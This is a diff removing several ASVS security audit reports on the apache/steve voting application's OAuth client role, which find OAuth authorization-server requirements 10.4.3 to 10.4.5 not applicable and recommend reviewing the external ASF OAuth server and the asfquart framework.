-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 10.4.3 — Verify that the authorization code is short-lived. The maximum lifetime can be up to 10 minutes for L1 and L2 applications and up to 1 minute for L3 applications.
-- **Requirement Level:** 1
-- **Section:** OAuth Authorization Server
-- **Files Analyzed:** 5 relevant out of 5 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count | Description |
-|----------|-------|-------------|
-| Critical | 0 | No critical findings |
-| High | 0 | No high findings |
-| Medium | 0 | No medium findings |
-| Low | 0 | No low findings |
-| **Total** | **0** | **No findings - Requirement not applicable** |
-
-### Key Determination
-
-After comprehensive analysis, **ASVS 10.4.3 is not applicable** to this codebase. The application functions exclusively as an **OAuth Client/Relying Party** that delegates authentication to an external ASF OAuth infrastructure. It does not implement an OAuth Authorization Server and therefore does not issue, store, or manage authorization codes.
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Purpose | Coverage Status |
-|---------|----------|---------|-----------------|
-| OAuth Authentication (Client-side) | `pages.py` via `asfquart.auth.require` | Enforces authentication on protected endpoints | ✅ Complete - All protected endpoints use framework decorators |
-| Session Management | `pages.py:basic_info()` via `asfquart.session.read()` | Manages authenticated user sessions | ✅ Complete - Session data contains `uid`, `fullname`, `email` |
-| Role-based Authorization | `pages.py` decorators `R.committer`, `R.pmc_member` | Enforces role-based access control | ✅ Complete - Applied at route level for sensitive operations |
-| Authorization Code Handling | **Not present in codebase** | N/A - Handled by external ASF OAuth server | ⚪ Not Applicable - Application is OAuth Client only |
-| Token Storage / Lifetime Management | **Not present in codebase** | N/A - Handled by external `asfquart` framework | ⚪ Not Applicable - No local token storage |
-
----
-
-## Critical File Review
-
-### `v3/server/pages.py` — OAuth Client Integration Points
-
-| Line(s) | Function/Element | Security Relevance | Finding |
-|---------|------------------|-------------------|---------|
-| 33 | `import asfquart.session` | Session reading interface | ✅ Read-only session access, no authorization code handling |
-| 34 | `from asfquart.auth import Requirements as R` | Role definition imports | ✅ Framework-provided role definitions |
-| 89–103 | `basic_info()` | User session data retrieval | ✅ Reads established session only; no code exchange logic |
-| 160 | `@asfquart.auth.require({R.committer})` | Authentication enforcement | ✅ Delegates to framework - no direct OAuth code handling |
-| 245 | `@asfquart.auth.require({R.committer})` | Protected endpoint | ✅ Consistent authentication pattern |
-| 299 | `@asfquart.auth.require({R.committer})` | Vote submission protection | ✅ Proper authorization decorator usage |
-| 450 | `@asfquart.auth.require({R.pmc_member})` | Higher privilege check | ✅ Elevated permission enforcement |
-
-### `v3/steve/election.py` — Business Logic Layer
-
-| Line(s) | Function/Element | Security Relevance | Finding |
-|---------|------------------|-------------------|---------|
-| Entire file | Election management logic | Business logic only | ✅ No OAuth Authorization Server functionality present |
-
-### `v3/steve/persondb.py` — User Identity Management
-
-| Line(s) | Function/Element | Security Relevance | Finding |
-|---------|------------------|-------------------|---------|
-| Entire file | Person database operations | Identity data access | ✅ LDAP-synced identity data, not OAuth token management |
-
-### `v3/schema.sql` — Database Schema Analysis
-
-| Table | Columns Reviewed | Relevance to ASVS 10.4.3 | Finding |
-|-------|------------------|--------------------------|---------|
-| `election` | All columns | Election metadata storage | ✅ No authorization code or token storage |
-| `vote` | All columns | Vote recording | ✅ Vote tokens only, not OAuth tokens |
-| `mayvote` | All columns | Voter eligibility | ✅ Voter permissions, not OAuth authorization |
-| `person` | All columns | User identity from LDAP | ✅ Identity synchronization, not OAuth credential storage |
-
-**Schema Analysis Result:** No tables exist for storing OAuth authorization codes, access tokens, refresh tokens, or any OAuth Authorization Server artifacts. This definitively confirms the application does not function as an OAuth Authorization Server.
-
-### `v3/server/bin/asf-load-ldap.py` — Identity Synchronization
-
-| Line(s) | Function/Element | Security Relevance | Finding |
-|---------|------------------|-------------------|---------|
-| Entire file | LDAP synchronization script | Identity data population | ✅ Synchronizes LDAP identity data for voter eligibility; no OAuth token management |
-
----
-
-## Findings
-
-### Summary
-
-**No findings identified.** ASVS requirement 10.4.3 specifically addresses OAuth Authorization Server responsibilities for managing authorization code lifetimes. This application does not implement an OAuth Authorization Server and therefore the requirement does not apply to this codebase.
-
-### Applicability Analysis
-
-| ASVS 10.4.3 Criterion | Applicability | Detailed Rationale |
-|----------------------|---------------|-------------------|
-| Authorization code maximum lifetime ≤10 minutes (L1/L2) | ⚪ **Not Applicable** | Application functions as OAuth Client/Relying Party only. Authorization codes are issued and managed by external ASF OAuth Authorization Server. |
-| Authorization code maximum lifetime ≤1 minute (L3) | ⚪ **Not Applicable** | Application does not issue authorization codes. Code exchange and validation occur within the `asfquart` framework against external ASF OAuth provider. |
-| Authorization code storage and validation | ⚪ **Not Applicable** | No authorization code storage exists in application database schema. No `/authorize` or `/token` endpoints present. |
-
----
-
-## Positive Security Patterns
-
-### 1. Delegated Authentication Architecture
-- **Location:** `pages.py` — all authenticated routes
-- **Implementation:** Uses established `asfquart` framework rather than implementing custom OAuth logic
-- **Security Benefit:** Reduces risk of implementation vulnerabilities by leveraging vetted authentication framework
-
-### 2. Consistent Authentication Enforcement
-- **Location:** `pages.py` lines 160, 245, 299, 450, and others
-- **Implementation:** All sensitive endpoints consistently use `@asfquart.auth.require` decorator
-- **Security Benefit:** Prevents authentication bypass through consistent framework-based enforcement
-
-### 3. Session Abstraction Layer
-- **Location:** `pages.py:basic_info()` function (lines 89-103)
-- **Implementation:** Accesses session data exclusively through framework API (`asfquart.session.read()`)
-- **Security Benefit:** Prevents direct token manipulation and ensures proper session validation
-
-### 4. Role-Based Access Control
-- **Location:** `pages.py` — route decorators throughout
-- **Implementation:** Clear separation between `R.committer` (voter) and `R.pmc_member` (election creator) roles
-- **Security Benefit:** Enforces principle of least privilege with granular permission levels
-
-### 5. No Local Token Storage
-- **Location:** `schema.sql` — database schema
-- **Implementation:** Database contains no OAuth token tables
-- **Security Benefit:** Eliminates risk of token leakage through application database compromise
-
-### 6. Clear Separation of Concerns
-- **Location:** Architecture-wide
-- **Implementation:** Authentication/authorization handled by `asfquart`, business logic in `election.py`, identity sync in `asf-load-ldap.py`
-- **Security Benefit:** Reduces complexity and attack surface through modular design
-
----
-
-## Architecture Observations
-
-### OAuth Role Classification
-
-**Definitive Role:** OAuth Client / OIDC Relying Party
-
-The application exclusively operates as an OAuth Client that:
-- Redirects users to external ASF OAuth provider for authentication
-- Receives authentication callbacks through the `asfquart` framework
-- Consumes established sessions without direct OAuth protocol interaction
-
-**Not Implemented:** OAuth Authorization Server functionality, including:
-- Authorization code issuance
-- Token endpoint (`/token`)
-- Authorization endpoint (`/authorize`)
-- Token introspection or validation
-- Client registration
-
-### Authorization Code Flow Analysis
-
-```
-┌─────────────┐ ┌──────────────┐ ┌────────────────────┐
-│ Browser │ │ Steve App │ │ ASF OAuth Server │
-│ │ │ (OAuth Client)│ │ (Authorization AS) │
-└──────┬──────┘ └──────┬───────┘ └─────────┬──────────┘
- │ │ │
- │ 1. Access protected page │ │
- ├──────────────────────────────>│ │
- │ │ │
- │ 2. Redirect to OAuth AS │ │
- │<──────────────────────────────┤ │
- │ │ │
- │ 3. User authenticates │ │
- ├───────────────────────────────┼─────────────────────────────────>│
- │ │ │
- │ 4. Redirect with auth code │ │
- │<──────────────────────────────┼──────────────────────────────────┤
- │ │ │
- │ 5. Callback to app │ │
- ├──────────────────────────────>│ │
- │ │ │
- │ │ 6. Exchange code for tokens │
- │ │ (handled by asfquart framework) │
- │ ├─────────────────────────────────>│
- │ │ │
- │ │ 7. Return tokens │
- │ │<─────────────────────────────────┤
- │ │ │
- │ 8. Establish session │ │
- │<──────────────────────────────┤ │
- │ │ │
-```
-
-**Key Observation:** Steps 6-7 (authorization code exchange and lifetime enforcement) occur entirely within the `asfquart` framework and ASF OAuth server. The Steve application code never directly handles authorization codes.
-
-### Trust Boundary Analysis
-
-| Component | Role | Authorization Code Responsibility | In Audit Scope |
-|-----------|------|-----------------------------------|----------------|
-| ASF OAuth Server | Authorization Server | ✅ Issues and validates authorization codes<br>✅ Enforces code lifetime limits | ❌ No (external service) |
-| `asfquart` Framework | OAuth Client Library | ✅ Receives authorization codes<br>✅ Exchanges codes for tokens<br>⚠️ Should not persist codes | ❌ No (external dependency) |
-| Steve Application | OAuth Client/RP | ❌ Never handles authorization codes<br>✅ Consumes established sessions | ✅ Yes (this audit) |
-
-### Identity Data Flow
-
-The application maintains a local `person` table synchronized from ASF LDAP via `asf-load-ldap.py`. This is **identity data synchronization** for voter eligibility determination, not OAuth credential management. The separation ensures:
-- OAuth authentication state remains in the `asfquart` session layer
-- Business logic operates on stable identity data
-- No mixing of authentication credentials with application data
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Operational Verification)
-
-**Priority:** High
-**Effort:** Low
-**Timeline:** Within 1 week
-
-1. **Verify External Authorization Server Compliance**
- - **Action:** Confirm that the ASF OAuth Authorization Server enforces authorization code lifetime ≤10 minutes for L1/L2 compliance
- - **Rationale:** While this application does not issue codes, organizational compliance requires the external AS meets ASVS 10.4.3
- - **Owner:** Infrastructure/Security team responsible for ASF OAuth server
- - **Verification Method:** Review ASF OAuth server configuration or request compliance documentation
-
-### Short-term Actions (Framework Audit)
-
-**Priority:** Medium
-**Effort:** Medium
-**Timeline:** Within 1 month
-
-2. **Audit `asfquart` Framework OAuth Implementation**
- - **Action:** Conduct security review of `asfquart.auth` and `asfquart.session` modules
- - **Scope:** Verify the framework properly:
- - Does not cache or persist authorization codes after token exchange
- - Validates authorization code responses from the AS
- - Implements PKCE (Proof Key for Code Exchange) or equivalent protections
- - Handles authorization code expiration errors appropriately
- - **Rationale:** While the Steve application is correctly implemented as an OAuth Client, the framework handling code exchange must also be secure
- - **Owner:** Development team with access to `asfquart` source code
-
-3. **Review Session Security Configuration**
- - **Action:** Verify `asfquart` session configuration for:
- - Secure session token generation
- - Appropriate session timeout values
- - Secure cookie attributes (HttpOnly, Secure, SameSite)
- - **Rationale:** Since the application relies entirely on session-based authentication post-OAuth, session security is critical
-
-### Long-term Actions (Documentation & Architecture)
-
-**Priority:** Low
-**Effort:** Low
-**Timeline:** Within 3 months
-
-4. **Document OAuth Architecture and Trust Boundaries**
- - **Action:** Create architecture documentation explicitly showing:
- - OAuth role assignments (AS vs Client)
- - Which ASVS OAuth requirements apply to which components
- - Trust boundaries between Steve application, `asfquart` framework, and ASF OAuth server
- - **Rationale:** Clarifies responsibility for OAuth security requirements across component boundaries
- - **Deliverable:** Architecture diagram and ASVS requirement mapping document
-
-5. **Establish Framework Security Review Process**
- - **Action:** Define process for security review of framework updates (`asfquart`)
- - **Rationale:** Since authentication is delegated to the framework, framework security directly impacts application security
- - **Deliverable:** Framework update security review checklist
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary><strong>Click to expand complete file list (5 files)</strong></summary>
-
-### Files Included in Audit Scope
-
-1. **`v3/schema.sql`** (Relevance: 10/10)
- - Database schema definition
- - Analyzed for OAuth token storage tables
- - **Finding:** No authorization code or token storage present
-
-2. **`v3/server/bin/asf-load-ldap.py`** (Relevance: 10/10)
- - LDAP identity synchronization script
- - Analyzed for OAuth credential handling
- - **Finding:** Identity data sync only, no OAuth functionality
-
-3. **`v3/server/pages.py`** (Relevance: 10/10)
- - Main application routes and authentication integration
- - Analyzed for OAuth Client implementation and authorization code handling
- - **Finding:** Properly delegates authentication to `asfquart` framework; no direct OAuth code handling
-
-4. **`v3/steve/election.py`** (Relevance: 10/10)
- - Election business logic
- - Analyzed for OAuth Authorization Server endpoints
- - **Finding:** Business logic only, no OAuth AS functionality
-
-5. **`v3/steve/persondb.py`** (Relevance: 10/10)
- - Person database operations
- - Analyzed for OAuth token or credential storage
- - **Finding:** Identity data management only, no OAuth credentials
-
-### Files Excluded from Scope
-
-- `asfquart` framework source code (external dependency, not in repository)
-- ASF OAuth Authorization Server implementation (external service)
-
-</details>
-
----
-
-## Conclusion
-
-This audit definitively establishes that **ASVS requirement 10.4.3 does not apply** to the apache/steve application codebase. The application correctly implements the OAuth Client/Relying Party role, delegating all authorization code handling to external components (ASF OAuth Authorization Server and `asfquart` framework).
-
-The application demonstrates strong security patterns including consistent authentication enforcement, proper session abstraction, and clear separation of concerns. No vulnerabilities related to authorization code lifetime were identified because the application does not implement Authorization Server functionality.
-
-**Compliance Status:** ✅ **Not Applicable - Requirement addresses different OAuth role**
-
-**Recommended Next Steps:**
-1. Verify external ASF OAuth server meets ASVS 10.4.3 requirements (operational)
-2. Audit `asfquart` framework OAuth Client implementation (separate review)
-3. Document OAuth architecture and component responsibilities (long-term)
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.4.md b/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.4.md
deleted file mode 100644
index 27a1910..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.4.md
+++ /dev/null
@@ -1,277 +0,0 @@
-# ASVS 10.4.4 Audit Report: OAuth Authorization Server Grant Type Restrictions
-
-## Executive Summary
-
-**Audit Metadata:**
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 10.4.4 — Verify that for a given client, the authorization server only allows the usage of grants that this client needs to use. Note that the grants 'token' (Implicit flow) and 'password' (Resource Owner Password Credentials flow) must no longer be used.
-- **ASVS Level:** 1
-- **Section:** OAuth Authorization Server
-- **Chapter:** OAuth and OIDC
-
-**Scope Summary:**
-
-The provided codebase implements an **OAuth client/relying party** (election management application), not an OAuth Authorization Server. The OAuth AS functionality is handled externally by the ASF infrastructure via the `asfquart` framework. Consequently, grant type configuration for the AS is not present in the audited code.
-
-**Files Analyzed:** 5 relevant out of 5 total, 0 skipped
-
-**Finding Summary:**
-
-| Severity | Count | Status |
-|----------|-------|--------|
-| Critical | 0 | ✅ None identified |
-| High | 0 | ✅ None identified |
-| Medium | 0 | ✅ None identified |
-| Low | 0 | ✅ None identified |
-
-**Conclusion:** No CRITICAL findings directly attributable to ASVS 10.4.4 were identified in the provided source files. The application functions as an OAuth client using server-side sessions consistent with Authorization Code flow. Grant type restrictions are the responsibility of the external ASF OAuth Authorization Server and cannot be audited from the provided application code.
-
----
-
-## Security Controls Inventory
-
-| Control | Location | Purpose | Coverage Status |
-|---------|----------|---------|-----------------|
-| OAuth Authentication (Client-side) | `pages.py` via `asfquart.auth.require` | Enforce authentication on protected endpoints | ✅ Applied at all protected endpoints |
-| OAuth AS Grant Type Configuration | Not in codebase | Restrict client to appropriate grant types | ⚠️ External to application - Cannot audit from provided code |
-| Session Management | `pages.py` via `asfquart.session.read()` | Server-side user identity retrieval | ✅ Applied consistently |
-| Authentication Level Differentiation | `pages.py` | Enforce role-based access (`committer` vs `pmc_member`) | ✅ Two distinct authorization levels observed |
-| LDAP Identity Sync | `asf-load-ldap.py` | Populate person database from LDAP | ✅ Uses LDAPS (secure transport) |
-
----
-
-## Critical File Review
-
-### `v3/server/pages.py` — OAuth Client Behavior
-
-| Line(s) | Function/Pattern | Security Relevance | ASVS 10.4.4 Assessment |
-|---------|------------------|-------------------|------------------------|
-| Various | `@asfquart.auth.require({R.committer})` | Client-side authentication requirement | Grant type determined by external AS, not this code |
-| Various | `@asfquart.auth.require({R.pmc_member})` | Higher-privilege requirement for election creation | Proper tiered access control |
-| ~65-67 | `s = await asfquart.session.read()` | Reads session established via external OAuth flow | Server-side session pattern consistent with Authorization Code flow |
-| ~72 | `basic.csrf_token = 'placeholder'` | CSRF protection (incomplete) | Not related to OAuth grant types |
-
-**Functions Reviewed:**
-- `load_election()` - OAuth session read, election data retrieval
-- `do_open_endpoint()` - OAuth session read, election opening logic
-- `do_close_endpoint()` - OAuth session read, election closing logic
-- `do_add_issue_endpoint()` - OAuth session read, issue creation
-- `do_edit_issue_endpoint()` - OAuth session read, issue modification
-- `do_delete_issue_endpoint()` - OAuth session read, issue deletion
-- `do_create_election_endpoint()` - OAuth session read with `pmc_member` requirement
-
-### `v3/server/bin/asf-load-ldap.py` — LDAP Sync (No OAuth)
-
-| Line(s) | Function/Pattern | Security Relevance | ASVS 10.4.4 Assessment |
-|---------|------------------|-------------------|------------------------|
-| ~46 | `client = ldap.initialize(LDAP_URL)` | LDAP connection initialization | Not OAuth-related |
-| ~47-48 | `client.simple_bind_s(binddn, bindpw)` | LDAP authentication | Not an OAuth grant type |
-| ~39 | `LDAP_URL = "ldaps://..."` | Secure LDAP transport | Proper secure protocol usage |
-
-**Functions Reviewed:**
-- `main()` - LDAP connection, search, and person database synchronization
-
-### `v3/steve/election.py` — Business Logic (No OAuth)
-
-| Line(s) | Function/Pattern | Security Relevance | ASVS 10.4.4 Assessment |
-|---------|------------------|-------------------|------------------------|
-| ~176-184 | `get_metadata()` | Election metadata retrieval, excludes sensitive fields | No OAuth grant handling |
-| All | Database operations, cryptographic functions, state management | Core business logic | No OAuth AS functionality present |
-
-**Functions Reviewed:**
-- `get_metadata()` - Metadata retrieval with sensitive field exclusion
-- `open_election()` - Election opening logic
-- `close_election()` - Election closing logic
-- `add_issue()` - Issue creation
-- `edit_issue()` - Issue modification
-- `delete_issue()` - Issue deletion
-
-### `v3/steve/persondb.py` — Person Data Access (No OAuth)
-
-| Line(s) | Function/Pattern | Security Relevance | ASVS 10.4.4 Assessment |
-|---------|------------------|-------------------|------------------------|
-| All | CRUD operations on person records | Database access layer | No OAuth grant type handling |
-
-**Functions Reviewed:**
-- Database initialization and person record management functions
-
-### `v3/schema.sql` — Database Schema (No OAuth)
-
-| Line(s) | Pattern | Security Relevance | ASVS 10.4.4 Assessment |
-|---------|---------|-------------------|------------------------|
-| All | Table definitions for elections, issues, votes, persons | Data model | No OAuth-related schema elements |
-
----
-
-## Findings
-
-### Summary
-
-**No findings identified.** The application operates as an OAuth client, not an OAuth Authorization Server. No prohibited grant types (Implicit or Resource Owner Password Credentials) are implemented or invoked in the audited code.
-
-### Detailed Analysis
-
-#### Application Role Assessment
-
-1. **OAuth Client Implementation**: The application implements an OAuth **relying party** (client), not an Authorization Server. Evidence:
- - No `/authorize` endpoint implementation
- - No `/token` endpoint implementation
- - No client registration logic
- - No grant type selection or configuration code
- - Uses external `asfquart` framework for OAuth integration
-
-2. **Grant Type Pattern**: The authentication pattern observed (`asfquart.auth.require` → `asfquart.session.read()` returning server-side session data with `uid`, `fullname`, `email`) is consistent with the **Authorization Code flow**, which is the recommended OAuth grant type for confidential clients.
-
-3. **No Prohibited Patterns Detected**:
- - No `response_type=token` (Implicit flow) usage
- - No `grant_type=password` (ROPC flow) implementation
- - No client-side token handling in URL fragments
- - Server-side session management throughout
-
-#### Compliance Assessment
-
-**ASVS 10.4.4 Compliance Status:** ⚠️ **Cannot be fully verified from provided code**
-
-**Rationale:** The requirement applies to OAuth Authorization Servers restricting grant types per client. Since this application is a client and the AS is external, compliance depends on:
-1. ASF OAuth Authorization Server's client registration configuration
-2. `asfquart` framework's OAuth client implementation
-3. Neither of which are present in the audited source files
-
----
-
-## Positive Security Patterns
-
-| Pattern | Location | Description | Security Benefit |
-|---------|----------|-------------|------------------|
-| Server-side session model | `pages.py:65-67` | Uses `asfquart.session.read()` for server-side session retrieval | Consistent with Authorization Code flow; prevents token exposure in browser |
-| Tiered authentication requirements | `pages.py:429` | Differentiates between `R.committer` (general access) and `R.pmc_member` (election creation) | Implements principle of least privilege at authentication tier |
-| Secure LDAP transport | `asf-load-ldap.py:39` | Uses `ldaps://` protocol for identity synchronization | Protects credentials and identity data in transit |
-| Sensitive field exclusion | `election.py:176-184` | `get_metadata()` explicitly excludes `salt` and `opened_key` from returned data | Prevents cryptographic material leakage |
-| Cryptographic ID generation | `election.py` via `crypto.create_id()` | Election/issue IDs generated using cryptographic randomness | Prevents ID prediction and enumeration attacks |
-| Consistent authentication enforcement | `pages.py` (multiple endpoints) | All protected endpoints use `@asfquart.auth.require()` decorator | Centralized authentication enforcement reduces bypass risk |
-
----
-
-## Architecture Observations
-
-### OAuth Integration Architecture
-
-1. **External OAuth Authorization Server**:
- - The ASF OAuth AS is a separate infrastructure component not included in this codebase
- - All OAuth flow logic (authorization request, token exchange, validation) is handled externally
- - Application receives authenticated sessions via `asfquart` framework
-
-2. **`asfquart` Framework as Integration Layer**:
- - All OAuth client functionality encapsulated in `asfquart.auth` and `asfquart.session`
- - Application code does not directly interact with OAuth endpoints or tokens
- - Framework abstracts OAuth complexity from application logic
-
-3. **Session-Based Architecture**:
- - Server-side sessions used throughout (no client-side JWT handling observed)
- - Session data includes: `uid`, `fullname`, `email`, `roles`
- - Consistent with Authorization Code flow best practices
-
-### Security Architecture Gaps (Out of ASVS 10.4.4 Scope)
-
-**Note:** The following observations relate to application-level authorization (ASVS Chapter 4) rather than OAuth grant type restrictions (ASVS 10.4.4), but are noted for completeness:
-
-| Gap | Location | Description | Risk Level |
-|-----|----------|-------------|------------|
-| Incomplete authorization checks | `pages.py` (multiple endpoints) | `### check authz` comments without implementation | High (out of scope for 10.4.4) |
-| Missing CSRF protection | `pages.py:72` | `csrf_token = 'placeholder'` indicates incomplete implementation | Medium (out of scope for 10.4.4) |
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (External Audit Required)
-
-1. **Verify ASF OAuth AS Client Registration**
- - **Action:** Audit the ASF OAuth Authorization Server's client registration for this application
- - **Verification Points:**
- - Only `authorization_code` grant type is enabled for this client
- - `token` (Implicit) grant is explicitly disabled
- - `password` (ROPC) grant is explicitly disabled
- - PKCE is required (if client type allows)
- - **Rationale:** ASVS 10.4.4 compliance cannot be verified from application code alone; AS configuration must be audited
- - **Priority:** High (required for ASVS 10.4.4 compliance)
-
-2. **Review `asfquart` Framework OAuth Implementation**
- - **Action:** Audit the `asfquart` framework's OAuth client implementation
- - **Verification Points:**
- - Framework does not fall back to prohibited grant types
- - Authorization responses are properly validated
- - Token handling follows OAuth 2.1 best practices
- - No client-side token exposure mechanisms
- - **Rationale:** Framework handles all OAuth interactions; must verify it enforces secure patterns
- - **Priority:** High (required for complete security assessment)
-
-### Short-Term Actions
-
-3. **Document Expected OAuth Configuration**
- - **Action:** Add documentation specifying the expected OAuth grant type and AS configuration
- - **Location:** Application deployment documentation or configuration files
- - **Content:**
- - Expected grant type: Authorization Code with PKCE
- - Prohibited grant types: Implicit, ROPC
- - Required AS client configuration
- - **Rationale:** Makes security assumptions explicit and auditable
- - **Priority:** Medium (improves maintainability and auditability)
-
-### Long-Term Actions
-
-4. **Implement Configuration Validation**
- - **Action:** Add runtime checks to verify OAuth configuration matches security requirements
- - **Implementation:** Startup validation that confirms:
- - Framework is configured for Authorization Code flow
- - No fallback grant types are enabled
- - **Rationale:** Fail-fast on misconfiguration rather than operating in insecure mode
- - **Priority:** Low (defense-in-depth measure)
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (5 files)</summary>
-
-### Files In Scope for ASVS 10.4.4
-
-1. **`v3/schema.sql`** (Relevance: 10)
- - Database schema definitions
- - No OAuth AS functionality
-
-2. **`v3/server/bin/asf-load-ldap.py`** (Relevance: 10)
- - LDAP synchronization utility
- - Uses LDAP authentication (not OAuth)
-
-3. **`v3/server/pages.py`** (Relevance: 10)
- - Primary application endpoints
- - OAuth client integration via `asfquart`
- - Server-side session management
-
-4. **`v3/steve/election.py`** (Relevance: 10)
- - Election business logic
- - No OAuth functionality
-
-5. **`v3/steve/persondb.py`** (Relevance: 10)
- - Person database access layer
- - No OAuth functionality
-
-### Analysis Summary by File
-
-| File | Lines Analyzed | OAuth-Related | ASVS 10.4.4 Findings |
-|------|----------------|---------------|----------------------|
-| `schema.sql` | All | No | None - Data model only |
-| `asf-load-ldap.py` | ~100 | No | None - LDAP authentication |
-| `pages.py` | ~500 | Yes (client-side) | None - Proper Authorization Code pattern |
-| `election.py` | ~300 | No | None - Business logic only |
-| `persondb.py` | ~150 | No | None - Data access only |
-
-</details>
-
----
-
-**End of Report**
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.5.md b/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.5.md
deleted file mode 100644
index 209a9fc..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.5.md
+++ /dev/null
@@ -1,311 +0,0 @@
-# ASVS 10.4.5 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 10.4.5 — Verify that the authorization server mitigates refresh token replay attacks for public clients, preferably using sender-constrained refresh tokens, i.e., Demonstrating Proof of Possession (DPoP) or Certificate-Bound Access Tokens using mutual TLS (mTLS). For L1 and L2 applications, refresh token rotation may be used. If refresh token rotation is used, the authorization server must invalidate the refresh token after usage, and revoke all refresh tokens for [...]
-- **Files Analyzed:** 5 relevant out of 5 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count | Status |
-|----------|-------|--------|
-| Critical | 0 | ✅ None Found |
-| High | 0 | ✅ None Found |
-| Medium | 0 | ✅ None Found |
-| Low | 0 | ✅ None Found |
-
-**Key Determination:** This codebase implements an **OAuth Relying Party/Client application**, not an OAuth Authorization Server. ASVS 10.4.5 requirements apply to the external ASF OAuth Authorization Server infrastructure, which is outside the scope of this codebase.
-
----
-
-## Security Controls Inventory
-
-### OAuth Token Management Controls
-
-| Control | Implementation Status | Location | Purpose | Coverage |
-|---------|----------------------|----------|---------|----------|
-| Refresh Token Issuance | ❌ Not in Scope | N/A | Token lifecycle management | N/A — External AS responsibility |
-| Refresh Token Rotation | ❌ Not in Scope | N/A | Replay attack mitigation | N/A — External AS responsibility |
-| Refresh Token Revocation | ❌ Not in Scope | N/A | Token invalidation on compromise | N/A — External AS responsibility |
-| Sender-Constrained Tokens (DPoP/mTLS) | ❌ Not in Scope | N/A | Cryptographic token binding | N/A — External AS responsibility |
-| Session-Based Authentication | ✅ Implemented | `pages.py` (all routes) | Client-side session management | Full coverage via `asfquart.session` |
-| Role-Based Access Control | ⚠️ Partial | `pages.py` (decorators) | Authorization enforcement | Applied via `@asfquart.auth.require()` |
-
-### Authentication Architecture Evidence
-
-| Evidence Type | File | Location | Description |
-|---------------|------|----------|-------------|
-| External Auth Delegation | `pages.py` | Lines 29-30 | `import asfquart.session` / `from asfquart.auth import Requirements as R` |
-| Session Reading | `pages.py` | Line ~85 (`basic_info()`) | `asfquart.session.read()` consumes externally-created sessions |
-| Auth Decorator Usage | `pages.py` | Throughout | `@asfquart.auth.require({R.committer})` on protected routes |
-| No Token Endpoints | `pages.py` | Full route inventory | No `/token`, `/authorize`, `/revoke`, or `/.well-known/*` routes |
-| No Token Storage | `schema.sql` | Complete schema | Tables: `election`, `issue`, `person`, `mayvote`, `vote` — no OAuth token storage |
-
----
-
-## Critical File Review
-
-### OAuth Authorization Server Role Analysis
-
-| File | Lines Reviewed | OAuth AS Role | Refresh Token Operations | ASVS 10.4.5 Applicable |
-|------|---------------|---------------|-------------------------|------------------------|
-| `v3/schema.sql` | All (schema definition) | ❌ Data schema only | None — defines election/vote tables | ❌ Not applicable |
-| `v3/server/pages.py` | All routes (~650 lines) | ❌ Client/RP routes | Session-based auth, no token lifecycle | ❌ Not applicable |
-| `v3/steve/election.py` | All functions | ❌ Business logic | Vote tokens only (not OAuth tokens) | ❌ Not applicable |
-| `v3/steve/persondb.py` | All functions | ❌ Person CRUD | No token operations | ❌ Not applicable |
-| `v3/server/bin/asf-load-ldap.py` | All (batch script) | ❌ LDAP sync utility | LDAP bind authentication only | ❌ Not applicable |
-
-### Security-Sensitive Functions Reviewed
-
-#### `v3/server/pages.py`
-
-| Function | Lines | Security Mechanism | Token Handling | Notes |
-|----------|-------|-------------------|----------------|-------|
-| `basic_info()` | ~85 | `asfquart.session.read()` | Reads external session | Extracts `uid` for authz |
-| `index()` | ~97 | `@asfquart.auth.require({R.committer})` | None | Protected route |
-| `election_list()` | ~103 | `@asfquart.auth.require({R.committer})` | None | TODO: check authz |
-| `election_view()` | ~233 | `@asfquart.auth.require({R.committer})` | None | TODO: check authz |
-| `create_election()` | ~262 | `@asfquart.auth.require({R.pmc_member})` | None | TODO: check authz |
-| `issue_list()` | ~469 | `@asfquart.auth.require({R.committer})` | None | TODO: check authz |
-| `vote_cast()` | ~529 | `@asfquart.auth.require({R.committer})` | None | Uses vote_token (not OAuth) |
-
-#### `v3/steve/election.py`
-
-| Function | Lines | Purpose | Token Type | Security Notes |
-|----------|-------|---------|------------|----------------|
-| `gen_vote_token()` | N/A (imported from `crypto`) | Generate vote anonymization token | Vote token (cryptographic hash) | Not an OAuth token |
-| `create_election()` | Various | Election lifecycle management | None | No OAuth token operations |
-| `cast_vote()` | Various | Vote recording | Vote token validation | Vote tokens are server-side only |
-
----
-
-## Findings
-
-### ✅ No Findings Identified
-
-**ASVS 10.4.5 Compliance Status:** Not Applicable to This Codebase
-
-**Rationale:** After comprehensive analysis of all 5 source files, this application does not implement an OAuth Authorization Server. It functions as an OAuth **Relying Party (RP) / Client** that delegates authentication to external ASF infrastructure (`asfquart` framework).
-
-The requirement to mitigate refresh token replay attacks applies exclusively to the **OAuth Authorization Server** that issues and manages refresh tokens. This codebase:
-
-1. ❌ Does not issue refresh tokens
-2. ❌ Does not implement token endpoints (`/token`, `/authorize`, `/revoke`)
-3. ❌ Does not store OAuth tokens in its database schema
-4. ❌ Does not implement token rotation or revocation logic
-5. ✅ Consumes externally-managed sessions via `asfquart.session.read()`
-
-**Scope Boundary:** To audit ASVS 10.4.5 compliance, the following components require separate assessment:
-- The ASF OAuth Authorization Server (e.g., `oauth.apache.org` or equivalent)
-- The `asfquart` library's client-side token handling implementation
-
----
-
-## Positive Security Patterns
-
